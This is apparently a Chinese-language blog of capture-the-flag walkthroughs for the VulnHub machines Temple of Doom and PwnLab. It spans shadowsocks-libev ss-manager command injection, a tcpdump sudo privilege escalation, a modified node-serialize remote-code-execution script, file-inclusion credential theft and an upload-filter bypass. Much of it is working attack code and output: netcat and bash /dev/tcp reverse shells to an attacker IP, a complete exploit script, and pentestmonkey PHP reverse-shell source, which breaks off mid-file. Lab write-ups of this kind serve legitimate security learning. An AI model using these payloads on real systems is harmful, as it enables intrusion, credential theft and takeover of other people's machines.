nodeadm+ 756 0.0 0.1 497052 8508 ? Ssl 09:05 0:00 _ /usr/bin/pulseaudio --daemonize=no
nodeadm+ 838 0.0 0.0 52236 3808 ? Ss 09:05 0:00 _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 _ /usr/local/bin/ss-manager
其中兩行也有掃到這個程式:
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 _ /usr/local/bin/ss-manager
找找ss-manager有沒有漏洞:
開啟第二個網頁,可以知道編號是43006:
來找找43006:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit 43006
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
shadowsocks-libev 3.1.0 - Command Execution | linux/local/43006.txt
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
看看它的說明:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ sudo searchsploit -m 43006
[sudo] password for kali:
Exploit: shadowsocks-libev 3.1.0 - Command Execution
URL: https://www.exploit-db.com/exploits/43006
Path: /usr/share/exploitdb/exploits/linux/local/43006.txt
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/kali/target_machine/temple_of_doom/43006.txt
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 43006.txt
X41 D-Sec GmbH Security Advisory: X41-2017-010
Command Execution in Shadowsocks-libev
======================================
Overview
--------
Severity Rating: High
Confirmed Affected Versions: 3.1.0
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks-libev
Vector: Local
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
CVE: not yet assigned
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-010-shadowsocks-libev/
Summary and Impact
------------------
Shadowsocks-libev offers local command execution per configuration file
or/and additionally, code execution per UDP request on 127.0.0.1.
The configuration file on the file system or the JSON configuration
received via UDP request is parsed and the arguments are passed to the
"add_server" function.
The function calls "construct_command_line(manager, server);" which
returns a string from the parsed configuration.
The string gets executed at line 486 "if (system(cmd) == -1) {", so if a
configuration parameter contains "||evil command&&" within the "method"
parameter, the evil command will get executed.
The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.
Product Description
-------------------
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded
devices and low-end boxes. The ss-manager is meant to control
Shadowsocks servers for multiple users, it spawns new servers if needed.
It is a port of Shadowsocks created by @clowwindy, and maintained by
@madeye and @linusyang.
Proof of Concept
----------------
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}
The code is executed through shadowsocks-libev/src/manager.c.
If the configuration file on the file system is manipulated, the code
would get executed as soon as a Shadowsocks instance is started from
ss-manage, as long as the malicious part of the configuration has not
been overwritten.
Workarounds
-----------
There is no workaround available, do not use ss-manage until a patch is
released.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issue on GitHub
2017-10-13 Advisory release
直接看proof of concept的部分,簡單來說,method中兩個||的中間可以任意夾指令,靶機都會幫忙執行,所以就直接夾reverse shell
[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc 192.168.18.184 3333 -e /bin/bash||"}
當然,在進行上述動作時,要先聽port:
┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 3333
[sudo] password for kali:
listening on [any] 3333 ...
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 36238
get到fireman的shell後,要先python -c 'import pty;pty.spawn("/bin/bash")'
穩定shell:
python -c 'import pty;pty.spawn("/bin/bash")'
[fireman@localhost root]$
aaa利用sudo -l
,显示出自己(执行 sudo 的使用者)的权限:
[fireman@localhost root]$ sudo -l
sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
可以發現fireman可執行tcpdump,可以用來提權:
[fireman@localhost root]$ cd /tmp
cd /tmp
[fireman@localhost tmp]$ echo "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
<ho "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
[fireman@localhost tmp]$ chmod
chmod
chmod: missing operand
Try 'chmod --help' for more information.
[fireman@localhost tmp]$ chmod +x shell.sh
chmod +x shell.sh
[fireman@localhost tmp]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
<th0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
12 packets received by filter
0 packets dropped by kernel
解釋一下上面的指令。首先echo "nc -e /bin/bash 192.168.18.184 7777 "> shell.sh
跟chmod +x shell.sh
很簡單,第一句先把reverse shell的指令寫進一個名叫shell的shell檔,第二句則是賦予它執行的權限。問題是第三句:
┌──(kali㉿kali)-[~]
└─$ nc -lvp 7777
listening on [any] 7777 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 37588
python -c 'import pty;pty.spawn("/bin/bash")'
[root@localhost tmp]#
aaa當然,要先聽port,拿到shell後再python -c 'import pty;pty.spawn("/bin/bash")'
穩定shell。接下來就簡單了,根目錄的資料夾就有flag.txt。
[root@localhost ~]# cat flag.txt
cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.
+-----------------------------------------------------------------------------+
| | |\ -~ / \ / |
|~~__ | \ | \/ /\ /|
| -- | \ | / \ / \ / |
| |~_| \ \___|/ \/ / |
|--__ | -- |\________________________________/~~\~~| / \ / \ |
| |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/|
| | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / |
|___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / |
| \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ |
| B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ |
| __--P : | / / / | \ / \ /\|
|~~ | : | / ~~~ | \ / \ / |
| | |/ .-. | /\ \ / |
| | / | | |/ \ /\ |
| | / | | -_ \ / \ |
+-----------------------------------------------------------------------------+
| | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... |
| | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... |
| AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... |
+-----------------------------------------------------------------------------+
FLAG: kre0cu4jl4rzjicpo1i7z5l1
[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.
[+] You can follow me on twitter: @0katz
[+] Thanks to the homie: @Pink_P4nther
PS
要注意的是,如果沒有重新刷新網頁並出現那些錯誤訊息,就直接利用弱點做reverse shell的話,可能就根本找不到ss-manager。
第二種get shell的方式,是直接利用POC,不是自己手動用curl來推送。這裡使用的是49552。原本的49552長這樣:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.100.133:8000/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
除了第12跟19行有change this一定要改外,還有一個地方要改:第27行。第12行改成網頁所在IP,第19行改成攻擊機的IP跟聆聽的port,第27行一部分改成{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
,具體來說程式碼如下:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.18.185:666/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT","exec": "'+code+'"}'
#change string in line 27
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
接下來就是在攻擊機上nc -lvp 5555
,之後再開一個cmd執行這個python檔,記得要用python 2版,就可get shell。
其實這三個POC都是針對同一個漏洞,只是做法不同。
偵查發現無可利用port或可利用目錄,但有網頁,重新整理後發現會有序列化錯誤 → 利用firefox抓包,查看request跟response(也可利用burp suit抓包) → 發現可疑cookie,利用base64解碼 → 解碼過後出現格式錯誤的資訊,為網頁重新整理後出現錯誤的原因,格式弄正確後再次推送cookie,出現使用者資訊 → 將偵查時出現的node.js、反序列化等等檢查,發現RCE弱點 → Get shell後,登入的使用者找不到弱點,但發現有另一個使用者fireman → 透過ps aux | grep fireman
指令後,發現這帳號有用過ss-manager這個程式,google後,發現可RCE → 取得fireman的shell → 用sudo -l
來查看fireman可利用程式,發現tcpdump,可提權取得root。
Vulnhub之Temple of Doom靶机详细测试过程 - Jason_huawen - 博客园
VulnHub-Temple of Doom: 1-靶机渗透学习 - FreeBuf网络安全行业门户
No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习
Vulnhub-靶机-TEMPLE OF DOOM: 1 - 皇帽讲绿帽带法技巧 - 博客园
小白的靶机VulnHub-Temple of Doom
Temple of Doom: 1 Walkthrough
Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX
https://www.base64encode.org
Linux 命令 curl 的用法及参数解析 - ''竹先森゜ - 博客园
網頁網址LFI → 找出含帳密之設定檔 → 登入SQL server找出其他帳密 → 登入網頁上傳偽裝成圖片的reverse shell(需更改cookie) → suid可利用執行檔 → 自創指令 → command injection
開場嗅探靶機IP並偵查它開了那些port。
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 20:42 EST
Nmap scan report for 192.168.18.1
Host is up (0.0058s latency).
Nmap scan report for 192.168.18.21
Host is up (0.015s latency).
Nmap scan report for 192.168.18.182
Host is up (0.00036s latency).
Nmap scan report for 192.168.18.183
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.59 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.18.183
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 20:50 EST
Nmap scan report for 192.168.18.183
Host is up (0.0011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 38831/udp status
| 100024 1 44287/tcp6 status
| 100024 1 48951/udp6 status
|_ 100024 1 49568/tcp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, FoundRows, SupportsCompression, LongColumnFlag, SupportsTransactions, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: 9xt]TlCH"l{G0YQi<1~J
|_ Auth Plugin Name: mysql_native_password
49568/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:86:36:6E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.14 ms 192.168.18.183
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.05 seconds
有80 port,進入網頁如下:
進入login頁面:
看到網址裡有等號--LFI漏洞。 等號後面要接什麼,可以參考
GitHub - SewellDinG/LFIboomCTF: 📖本地文件包含漏洞实践源码及相应协议利用指南
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=login
可以看到網頁輸出結果如下:
亂碼複製如下:
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
喔
這個php提到了config.php
,看能不能用同樣手法得到config的php。
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=config
得到的結果:
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
解碼:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
喔對了,順便附一下目錄爆破結果:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.18.183 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,con
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.18.183
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: zip,gz,con,php,txt,bak,old
[+] Timeout: 10s
===============================================================
2022/12/09 21:03:14 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 293]
/index.php (Status: 200) [Size: 332]
/images (Status: 301) [Size: 317] [--> http://192.168.18.183/images/]
/login.php (Status: 200) [Size: 250]
/upload (Status: 301) [Size: 317] [--> http://192.168.18.183/upload/]
/upload.php (Status: 200) [Size: 19]
/config.php (Status: 200) [Size: 0]
/.php (Status: 403) [Size: 293]
/server-status (Status: 403) [Size: 302]
Progress: 1764040 / 1764488 (99.97%)===============================================================
2022/12/09 21:20:51 Finished
===============================================================
雖然拿到了帳密,但很可惜的這一台沒開22 port,不能直接get shell,所以試試入侵資料庫。
用剛剛拿到的root帳密登入mysql:
┌──(kali㉿kali)-[~]
└─$ mysql -h 192.168.18.183 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
剛剛的config.php有提到是Users資料庫,登入後即可查看其他使用者帳密:
MySQL [(none)]> use mysql;
ERROR 1044 (42000): Access denied for user 'root'@'%' to database 'mysql'
MySQL [(none)]> use Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.001 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.005 sec)
查了一下,這密碼其實也是base64編碼,整理一下:
Sld6WHVCSkpOeQ== → JWzXuBJJNy
U0lmZHNURW42SQ== → SIfdsTEn6I
aVN2NVltMkdSbw== → iSv5Ym2GRo
利用kent的帳密登入:
轉到上傳頁面
但是可以發現無法上傳php,來故技重施,看看upload的原始碼。
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=upload
看到base64亂碼:
亂碼如下:
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
解碼後結果,就是upload.php:
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
重要的是這一行,揭露了可以接受的上傳副檔名:
$whitelist = array(".jpg",".jpeg",".gif",".png");
所以只能上傳以上附檔名,沒關係,一樣用以下php,就是kali中/usr/share/webshells/php
路徑的php-reverse-shell.php
,但是最前面加個GIF三個字,副檔名不要用php要用gif或png,當然,裡面的IP跟PORT要改成攻擊機的:
GIF
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.18.182'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
